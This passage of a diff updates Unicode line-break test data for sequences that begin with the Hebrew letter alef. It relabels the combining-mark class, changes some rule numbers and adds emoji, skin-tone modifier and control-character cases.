× 05D0 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 05D0 × 0020 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 05D0 × 0308 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 05D0 × 0308 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 05D0 × 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 05D0 × 0020 ÷ 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 05D0 × 0308 × 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 05D0 × 0308 × 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 05D0 × 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 05D0 × 0020 ÷ 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 05D0 × 0308 × 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 05D0 × 0308 × 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 05D0 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 05D0 × 0020 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 05D0 × 0308 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 05D0 × 0308 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 05D0 × 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
× 05D0 × 0020 ÷ 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 05D0 × 0308 × 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 05D0 × 0308 × 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 05D0 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [13.02] COMMA (IS) ÷ [0.3]
× 05D0 × 0020 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 05D0 × 0308 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 05D0 × 0308 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 002C ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 05D0 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 05D0 × 0020 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 05D0 × 0308 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 05D0 × 0308 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 05D0 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 05D0 × 0020 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 05D0 × 0308 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 05D0 × 0308 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 05D0 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 05D0 × 0020 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 05D0 × 0308 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 05D0 × 0308 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 05D0 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 05D0 × 0020 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 05D0 × 0308 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 05D0 × 0308 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 000A ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 05D0 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 05D0 × 0020 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 05D0 × 0308 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 05D0 × 0308 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 0085 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 05D0 × 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 05D0 × 0020 ÷ 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 05D0 × 0308 × 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 05D0 × 0308 × 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 05D0 × 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
× 05D0 × 0020 ÷ 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 05D0 × 0308 × 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 05D0 × 0308 × 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 05D0 × 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 05D0 × 0020 ÷ 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 05D0 × 0308 × 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 05D0 ÷ 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 05D0 × 0308 × 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 05D0 × 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
× 05D0 × 0020 ÷ 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 05D0 × 0308 ÷ 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 05D0 ÷ 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 05D0 × 0308 × 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 05D0 × 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
× 05D0 × 0020 ÷ 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 05D0 × 0308 ÷ 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 05D0 × 0308 × 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 05D0 × 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 05D0 × 0020 ÷ 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 05D0 × 0308 × 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 05D0 × 0308 × 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 05D0 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [0.3]
× 05D0 × 0020 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 0020 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 05D0 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 05D0 × 0020 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 05D0 × 0308 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 05D0 × 0308 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 002F ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 05D0 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 05D0 × 0020 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 05D0 × 0308 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 05D0 × 0308 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 2060 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 05D0 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 05D0 × 0020 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 05D0 × 0308 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 05D0 × 0308 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 200B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 05D0 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 05D0 × 0020 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 05D0 × 0308 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 05D0 × 0308 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 05D0 ÷ 261D ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 05D0 × 0020 ÷ 261D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 05D0 × 0308 ÷ 261D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 05D0 ÷ 1F3FB ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 05D0 × 0020 ÷ 1F3FB ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 05D0 × 0308 ÷ 1F3FB ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 05D0 × 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 05D0 × 0020 ÷ 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 05D0 × 0308 × 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
